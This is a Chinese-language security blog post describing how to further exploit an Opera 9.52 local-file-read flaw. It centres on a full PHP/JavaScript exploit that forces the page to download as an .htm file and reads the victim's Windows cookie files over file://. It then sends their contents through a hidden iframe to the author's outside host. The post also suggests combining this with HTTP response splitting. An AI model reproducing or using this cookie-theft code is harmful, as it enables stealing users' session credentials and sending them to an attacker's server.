opera9.52使用ajax读取本地文件漏洞进一步利用 's

admin 2017年5月4日08:42:46评论352 views字数 1717阅读5分43秒阅读模式
摘要

作者:空虚浪子心在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞。

作者:空虚浪子心

在前文《opera9.52使用ajax读取本地文件漏洞
中,提到了opera的ajax读取本地文件漏洞。

但是利用方式上,比较狭隘。

很少人会专门下载htm文件到本地,然后打开。

但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。

我们设计如下代码的php文件:

b.php代码

<? /* opera 9.52 use ajax read local txt file and upload exp www.inbreak.net author [email protected] 2009-1-6 */ header("Content-Disposition: attachment;filename=kxlzx.htm"); header("Content-type: application/kxlzx"); ?> <iframe id="framekxlzx" width=0 height=0></iframe> <script> var xmlHttp; function createXMLHttp(){ if(window.XMLHttpRequest){ xmlHttp = new XMLHttpRequest(); } else if(window.ActiveXObject){ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } }  function startRequest(doUrl){  createXMLHttp();  xmlHttp.onreadystatechange = handleStateChange;  xmlHttp.open("GET", doUrl, true);  xmlHttp.send(null);  }  function handleStateChange(){ if (xmlHttp.readyState == 4 ){ var strResponse = ""; setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);  } }  function doMyAjax(user,file) { var time = Math.random();  var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  startRequest(strPer);  }  function framekxlzxPost(text) { document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); alert(/ok/); }  doMyAjax('administrator',[email protected][1].txt');  </script>

其他代码和前文一致,但是多出了

header(“Content-Disposition: attachment;filename=kxlzx.htm”);
header(“Content-type: application/kxlzx”);

这段。

第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。

但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。

第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。

使用opera打开测试地址:

http://www.inbreak.net/kxlzxtest/testxss/b.php

打开后,效果如图

opera9.52使用ajax读取本地文件漏洞进一步利用  's

我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。

比较猥琐的利用方法。

更猥琐的方式,大家可以结合HTTP Response Splitting 攻击 ,在http头加上以上两段内容,利用范围更广。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月4日08:42:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   opera9.52使用ajax读取本地文件漏洞进一步利用 'shttp://cn-sec.com/archives/45972.html

发表评论

匿名网友 填写信息